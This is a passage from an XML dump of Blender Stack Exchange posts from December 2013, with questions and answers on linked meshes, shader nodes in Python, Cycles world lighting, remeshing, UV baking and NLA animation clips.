stuck in Object mode.)&lt;/li&gt;&#xA;&lt;li&gt;Running &lt;em&gt;Make Single User&lt;/em&gt; &lt;kbd&gt;U&lt;/kbd&gt; on &lt;code&gt;character&lt;/code&gt; or &lt;code&gt;character_proxy&lt;/code&gt;, there is still no mesh, and the mesh is not selectable from Groups Outliner.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I did successfully do this (thanks Olson from #blender irc!):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select &lt;code&gt;character&lt;/code&gt; from the outliner and &lt;em&gt;Make Proxy&lt;/em&gt; the mesh&lt;/li&gt;&#xA;&lt;li&gt;Make the mesh local and then manipulate it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This works but the problem is the mesh is in T-Pose (ignoring the armature.) I can 'fix' the pose but it is cumbersome (since it is not posed out.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated :D!&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="185" LastEditDate="2013-12-19T01:09:06.820" LastActivityDate="2014-07-03T03:09:24.607" Title="How can I modify the mesh of a linked character?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;objects&gt;&lt;armature&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5665" PostTypeId="1" CreationDate="2013-12-18T21:10:53.290" Score="2" ViewCount="1168" Body="&lt;p&gt;I'm looking for a way to automate walk cycles, so they can be reused in any scene on top of the normal armature action. NLA strips make this possible to a basic level: You can have a separate action looped over the object's armature action. However, this simply repeats the extra action at a fixed speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm aiming for is having the walk action automatically adjusted based on the armature object's speed. You specify the velocity at which the armature action should play at normal speed, as well as how much to offset as velocity distances from that value. If the object is moving slower or faster than that, the action also loops slower or faster, making sure the feet never slide on the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, speed ranges in which to activate the action would be excellent. Such could be used to have no effect when the character is standing, a walk animation as the character is walking slowly, but if the character starts moving too fast the walk animation is replaced by a run animation. Walk and run actions would each have different velocities at which they start blending in and replacing each other. If directional, different armature actions can be automated based on the character moving forward, backward, or strafing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A further step is being able to also assign actions to acceleration / deceleration ranges. Such can be used to automate the character bending forward if it comes to a sudden stop while running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, this would allow moving a character anywhere anytime, without having to adjust the walk cycles. You simply key the object's position (or use a path) and the actions representing movement automatically loop when and how they should. Such would take a ton of work off the animator's shoulders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked in other places and got no good news, so I thought to try here as well. If it's not possible yet, I hope a developer sees this and considers adding the feature or creating an addon. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1902" LastActivityDate="2013-12-18T21:10:53.290" Title="Automatic mapping of walk animations based on object velocity" Tags="&lt;scripting&gt;&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;nla-editor&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2013-12-18T23:25:05.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="5666" PostTypeId="1" CreationDate="2013-12-18T21:14:32.580" Score="1" ViewCount="304" Body="&lt;p&gt;I want to make a scripts that adapts meshes and I need to cast rays for this.&#xA;But the rayCast() function is part of the game engine and it seems these functions can not be used by the standard scripting.&#xA;IS there a way I can use the rayCast() function?&lt;/p&gt;&#xA;" OwnerUserId="1903" LastActivityDate="2013-12-18T21:14:32.580" Title="Use rayCast() in none-game scripts?" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-12-18T23:25:34.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="5667" PostTypeId="2" ParentId="5664" CreationDate="2013-12-18T21:47:53.903" Score="4" Body="&lt;p&gt;Just link in the character rig's group as usual, then append the object. It will be shown read-only in the outliner. To make it editable, select the object through the outliner, then convert both the object itself and its mesh to local instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lyzuI.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;Make Proxy&lt;/em&gt; for mesh object isn't recommended, because it will lose all modifiers and vertex groups:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s6wEi.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-18T22:23:02.673" LastActivityDate="2013-12-18T22:23:02.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5668" PostTypeId="1" AcceptedAnswerId="5670" CreationDate="2013-12-18T22:04:39.267" Score="19" ViewCount="17724" Body="&lt;p&gt;I have edited a script that creates some nodes, but the only problem is, it always created a new material. I want it to either add the nodes on the existing material, or a pre-defined material. Here is the script base I am using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderscripting.blogspot.com.es/2013/06/automatic-colour-ramped-shader-from.html&quot;&gt;http://blenderscripting.blogspot.com.es/2013/06/automatic-colour-ramped-shader-from.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help in advance! :D&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="599" LastEditDate="2013-12-19T17:56:19.983" LastActivityDate="2019-12-07T17:58:14.193" Title="Add Nodes to Material with Python" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;nodes&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5670" PostTypeId="2" ParentId="5668" CreationDate="2013-12-18T22:13:03.640" Score="25" Body="&lt;p&gt;You can get the material node tree from &lt;code&gt;bpy.data.materials['MyMaterial'].node_tree&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add the nodes with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.Nodes.html?highlight=nodes.new#bpy.types.Nodes.new&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;node_tree.nodes.new()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to add a diffuse shader node to &lt;code&gt;MyMaterial&lt;/code&gt; and create &lt;code&gt;MyMaterial&lt;/code&gt; if it doesn't exist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;mat_name = &quot;MyMaterial&quot;&#xA;# Test if material exists&#xA;# If it does not exist, create it:&#xA;mat = (bpy.data.materials.get(mat_name) or &#xA;       bpy.data.materials.new(mat_name))&#xA;&#xA;# Enable 'Use nodes':&#xA;mat.use_nodes = True&#xA;nodes = mat.node_tree.nodes&#xA;&#xA;# Add a diffuse shader and set its location:    &#xA;node = nodes.new('ShaderNodeBsdfDiffuse')&#xA;node.location = (100,100)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2271" LastEditDate="2016-03-07T16:35:08.853" LastActivityDate="2016-03-07T16:35:08.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5671" PostTypeId="1" CreationDate="2013-12-19T00:46:10.187" Score="9" ViewCount="3857" Body="&lt;p&gt;Is it possible to check to see if a certain node exists on a material from within Python, for example a diffuse node? I am using Cycles Material Nodes, not Blender Internal or Post-Processing.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="12" LastEditDate="2013-12-19T22:55:00.390" LastActivityDate="2017-07-10T00:28:10.397" Title="Check if a node exists using Python" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5672" PostTypeId="2" ParentId="5664" CreationDate="2013-12-19T01:00:25.003" Score="4" Body="&lt;p&gt;If you still want it linked and be able to switch between the two scenes easily, go to Blender Preferences (Ctrl+Alt+U), click on Addons and search for &lt;strong&gt;Edit Linked Library&lt;/strong&gt;. You will see an addon called that. Enable it, and in the 3D View (with a linked object selected) go to the Tools menu (&lt;strong&gt;T&lt;/strong&gt;-Key on your keyboard) and at the bottom will be a small thing where you can switch back to the original model and back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7eyKJ.png&quot; alt=&quot;Edit Linked Library Addon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TGub4.png&quot; alt=&quot;Edit Linked Library Buttons&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2013-12-19T01:00:25.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5673" PostTypeId="2" ParentId="5671" CreationDate="2013-12-19T02:49:04.823" Score="3" Body="&lt;p&gt;You can iterate through all the nodes in the node tree and check their properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to find if a material node tree contains any diffuse shaders, you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mat = bpy.data.materials['MyMaterial']&#xA;# Test if 'Use Nodes' is enabled:&#xA;if mat.use_nodes == True:&#xA;    nodes = mat.node_tree.nodes&#xA;    # Iterate through all the nodes in the node tree and test each one to see if it's a diffuse shader:&#xA;    for node in nodes:&#xA;        if node.bl_idname == 'ShaderNodeBsdfDiffuse':&#xA;            # Do stuff&#xA;        else:&#xA;            # Do other stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can test any node property (e.g. &lt;code&gt;label&lt;/code&gt;, &lt;code&gt;location&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, etc.), to see a full list check the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.Node.html&quot; rel=&quot;nofollow&quot;&gt;API reference&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-19T02:59:42.190" LastActivityDate="2013-12-19T02:59:42.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5674" PostTypeId="1" CreationDate="2013-12-19T03:27:12.780" Score="4" ViewCount="1176" Body="&lt;p&gt;I've imported an object from an 3d data capture program in Blender, which came with an automatically generated UV Map. I'd like to create a new (more sensible) UV map based on the cleaned-up geometry, but keep the model looking the same (so the polygon-to-pixel-colour mapping is consistent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this at all possible to achieve?&lt;/p&gt;&#xA;" OwnerUserId="1905" LastActivityDate="2013-12-19T04:10:32.407" Title="Create a new UV map but move the textures with the polygons?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5675" PostTypeId="1" AcceptedAnswerId="5680" CreationDate="2013-12-19T03:47:05.940" Score="6" ViewCount="3021" Body="&lt;p&gt;As in the following figure if you combine a cylinder with a cube you will find the meshing is something like as in the left; we would like however to have it as in the right.&lt;br&gt;&#xA;(at least in the render window when we use a wireframe material for the above.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: Face beautifier didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F7Ejf.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pPFwQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="12" LastEditDate="2013-12-19T13:58:00.570" LastActivityDate="2016-08-01T21:10:05.927" Title="Remeshing part of a mesh" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5676" PostTypeId="2" ParentId="5675" CreationDate="2013-12-19T04:04:19.910" Score="0" Body="&lt;p&gt;What might work is entering sculpt mode, box mask the central cylinder (available in trunk builds) from the top view and then enable dyntopo and stroke on the top surface with a standard draw brush with zero strength.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2013-12-19T04:04:19.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5677" PostTypeId="2" ParentId="5674" CreationDate="2013-12-19T04:10:32.407" Score="5" Body="&lt;p&gt;If the two UV maps reside on the same mesh you can use UV baking. If you create a material with the texture and the first uv layer, you can bake the diffuse color (or even the rendered result, if you make a shadeless material) and bake it to the second UV layer. Make sure to select the proper UV layers in the material texture slot, UV editor and active UV layer.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2013-12-19T04:10:32.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5678" PostTypeId="1" AcceptedAnswerId="5679" CreationDate="2013-12-19T09:00:53.433" Score="15" ViewCount="9820" Body="&lt;p&gt;Using the Blender Render, if you have no lamps, the objects are black.  With Cycles Render, even without any lamps, there is a small amount of light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a render of the same yellow monkey without any lamps present using the two render engines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cIfq3.png&quot; alt=&quot;Comparison of renders of the same scene using Blender Internal and Cycles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does this light come from?  Can you turn it off?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2017-03-22T20:55:51.150" Title="Where does light come from in a Cycles scene without lamps?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5679" PostTypeId="2" ParentId="5678" CreationDate="2013-12-19T09:04:31.953" Score="16" Body="&lt;p&gt;In cycles the &lt;em&gt;World&lt;/em&gt; emits light. You can turn this off by setting the world color to black, or setting the &lt;em&gt;Strength&lt;/em&gt; to &lt;code&gt;0&lt;/code&gt; in &lt;em&gt;Properties &gt; World&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8qTi8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want the background to appear as a color besides black, you can make the world emit light only for the camera by mixing two &lt;em&gt;Background&lt;/em&gt; shaders based on the &lt;em&gt;Is Camera Ray&lt;/em&gt; output of the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/input/light_path.html#light-path-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Light Path&lt;/a&gt;&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qVhBN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c81fb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2017-03-22T20:55:51.150" LastActivityDate="2017-03-22T20:55:51.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5680" PostTypeId="2" ParentId="5675" CreationDate="2013-12-19T11:01:50.017" Score="8" Body="&lt;p&gt;While having the magic one button solution is enticing the old manual approach can give more control using basic modelling techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by removing the unwanted edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UOS4G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how many vertices you need - you can optionally add corner edges to clarify the targets. In this example I need to add three more vertices to each edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PvreR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to add more edge loops - use the mouse scroll wheel or &lt;kbd&gt;+&lt;/kbd&gt; and &lt;kbd&gt;-&lt;/kbd&gt; on the numpad to change the number of cuts being added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z39wV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the vertices in two edge loops to be filled in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2JJw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose Grid Fill (2.69 or higher) - this is available in File-&gt;Faces-&gt;Grid Fill or search after pressing &lt;kbd&gt;space&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qNNnP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For versions before 2.69 you can use Bridge Edge Loops - File-&gt;Edges-&gt;Bridge Edge Loops or search after pressing &lt;kbd&gt;space&lt;/kbd&gt;. This is still available in 2.69. You may find this works better in edge select mode without any corner connecting edges being selected, while grid fill works better if you have the corner edges in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The grid fill initially uses the order the vertices are selected to fill in the faces, if you initially get a strange fill you may want to press &lt;kbd&gt;F6&lt;/kbd&gt; (also available at the bottom of the toolbar &lt;kbd&gt;T&lt;/kbd&gt;) to adjust the Offset until it fills in nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AwXFv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also adjust how the bridge edge loops works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vBwR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat for each side. This gives you a nice final topology&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVF87.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also adjust this along the way by adding lop cuts between the two edges. The bridge edges has the option to do this for you and the grid fill will join these edges when you fill in the last two sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the same result on the opposite side, if both are the same, you can select the top vertices and duplicate them, move to the opposite side using snap to vertex to align them and remove doubles to join together.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-19T11:01:50.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5681" PostTypeId="1" AcceptedAnswerId="5682" CreationDate="2013-12-19T11:44:45.170" Score="13" ViewCount="14776" Body="&lt;p&gt;I have a panoramic image which I would like to set as a spherical background for my scene, which is using Cycles Render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the camera changes orientation, the background should stay fixed (like a skymap) and not move with the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2013-12-19T20:58:26.987" LastActivityDate="2013-12-19T20:58:26.987" Title="Add a panoramic background to scene in Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5682" PostTypeId="2" ParentId="5681" CreationDate="2013-12-19T13:43:48.393" Score="15" Body="&lt;p&gt;If your image is an &lt;a href=&quot;http://en.wikipedia.org/wiki/Equirectangular_projection&quot; rel=&quot;noreferrer&quot;&gt;equirectangular projection&lt;/a&gt;, you can use the &lt;strong&gt;&lt;em&gt;Environment texture&lt;/em&gt;&lt;/strong&gt; node within the &lt;strong&gt;&lt;em&gt;World&lt;/em&gt;&lt;/strong&gt; space node editor (see red markup), with &lt;em&gt;Equirectangular&lt;/em&gt; projection type (second setting) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/91Mb2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The yellowed area in this image correspond to optional nodes you can add to control the position of the background if you have already set the objects and camera's position, and don't want to move them again.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-12-19T14:41:28.073" LastActivityDate="2013-12-19T14:41:28.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5683" PostTypeId="2" ParentId="5637" CreationDate="2013-12-19T14:12:44.913" Score="7" Body="&lt;p&gt;For easy understanding, let's just call the areas in your image as &quot;Left&quot; and &quot;Right&quot;; and &quot;Middle&quot; for the new split area:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;A Three-click Way:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Right Click on the border of the &lt;em&gt;right&lt;/em&gt; area;&lt;/li&gt;&#xA;&lt;li&gt;Choose &quot;&lt;strong&gt;Split Area&lt;/strong&gt;&quot;, move the mouse to the area you want to split;&lt;/li&gt;&#xA;&lt;li&gt;Click and drag on the little triangle at the upper-right corner of the &lt;em&gt;left&lt;/em&gt; area towards the &lt;em&gt;middle&lt;/em&gt; area, to join them as a new one. Release the mouse button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/poBSa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;A Two-Click Way:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click and drag on the little triangle at the upper-right corner of the &lt;em&gt;left&lt;/em&gt; area;&lt;/li&gt;&#xA;&lt;li&gt;Click and drag on the little triangle at the upper-right corner of the &lt;em&gt;middle&lt;/em&gt; area towards to the &lt;em&gt;right&lt;/em&gt; area, then turn back to left. Release the mouse button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nlHJv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-19T14:12:44.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5684" PostTypeId="2" ParentId="5671" CreationDate="2013-12-19T20:51:58.823" Score="5" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.bpy_prop_collection.html#bpy.types.bpy_prop_collection.get&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy_prop_collection.get&lt;/code&gt;&lt;/a&gt; method which acts like pythons &lt;code&gt;dict.get&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mat = bpy.data.materials[&quot;MyMaterial&quot;]&#xA;if mat.use_nodes:&#xA;    ntree = mat.node_tree&#xA;    node = ntree.nodes.get(&quot;Diffuse BSDF&quot;, None)&#xA;    if node is not None:&#xA;        print(&quot;We Found:&quot;, node)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is similar to using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node = ntree.nodes[&quot;Diffuse BSDF&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However if the node isn't found you'll get an exception.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-07-10T00:28:10.397" LastActivityDate="2017-07-10T00:28:10.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5685" PostTypeId="1" AcceptedAnswerId="5688" CreationDate="2013-12-19T21:46:51.820" Score="1" ViewCount="941" Body="&lt;p&gt;I am sculpting a mesh using dynamic topology. I accidentally got an intersection between two parts of the mesh. This happened because I used the clay brush, and I &quot;extruded&quot; the bottom part into the top part. The problem is that it happened too long ago to be able to undo it, or revert to saved. How can I do this without losing my work?&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-12-20T14:38:34.177" LastActivityDate="2013-12-20T14:38:46.490" Title="Fixing intersecting mesh due to sculpting?" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5686" PostTypeId="5" CreationDate="2013-12-19T21:51:00.170" Score="0" Body="" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-12-19T21:51:00.170" LastActivityDate="2013-12-19T21:51:00.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5687" PostTypeId="4" CreationDate="2013-12-19T21:51:00.170" Score="0" Body="Dynamic topology is a new sculpting mode that subdivides the mesh as needed, whereas regular sculpting only affects the shape of a mesh. This makes it possible to sculpt complex shapes out of a simple mesh, rather than just adding details onto a modeled base mesh." OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-12-19T21:51:00.170" LastActivityDate="2013-12-19T21:51:00.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5688" PostTypeId="2" ParentId="5685" CreationDate="2013-12-19T21:56:30.400" Score="3" Body="&lt;p&gt;I was able to fix it by applying the smooth brush with a high strength to the intersected area.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-12-20T14:38:46.490" LastActivityDate="2013-12-20T14:38:46.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5689" PostTypeId="1" AcceptedAnswerId="5805" CreationDate="2013-12-19T22:19:45.507" Score="3" ViewCount="3278" Body="&lt;p&gt;how can I do one clip for many animated objects? I can add objects to Keying sets and key together, but clips are created separately for every object, but I want create only one clip. Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;For example: I will create robot with custom rig. Two legs, one body, two hands. I dont want use armature. And if I will make walkcycle I will have many clips for one walkcycle? It has not sense for reusing, because I will have many clips for one walkcycle. I can use Armature, but often it is not character animation. Last project what I done was house which was rotated, open roof and open windows. This action was repeated. So in Softimage I made clip and used it again. Without armatures or any bones. Maybe it is not possible in Blender.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1910" LastEditDate="2013-12-20T13:52:27.177" LastActivityDate="2013-12-25T22:52:23.970" Title="How create Action strip for more objects in NLA" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5690" PostTypeId="2" ParentId="5689" CreationDate="2013-12-20T00:13:57.733" Score="2" Body="&lt;p&gt;You only need to animate one object, then copy it to the others. To copy, select all object you want to use the same animation data, the one to copy from as the last selected. Then execute &lt;strong&gt;Object&lt;/strong&gt; &gt; &lt;strong&gt;Make Links...&lt;/strong&gt; (shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;), and choose &lt;strong&gt;Animation Data&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1eH4Y.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if &lt;em&gt;Location&lt;/em&gt; property is keyframed in the action, all objects using the action will jump to the same location. To offset from original location, use &lt;em&gt;Delta Location&lt;/em&gt; instead. The same goes with &lt;em&gt;Rotation&lt;/em&gt; and &lt;em&gt;Scale&lt;/em&gt; properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; If you want to merge animation data of several objects, I don't think that's possible. At most, you can manipulate all of them in the &lt;em&gt;Dope Sheet&lt;/em&gt;, where animation data for all animated objects are displayed. I use this a lot when I have to synchronize the animation of several objects (three, in illustration below) at once:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pwj0n.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-20T11:43:30.253" LastActivityDate="2013-12-20T11:43:30.253" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
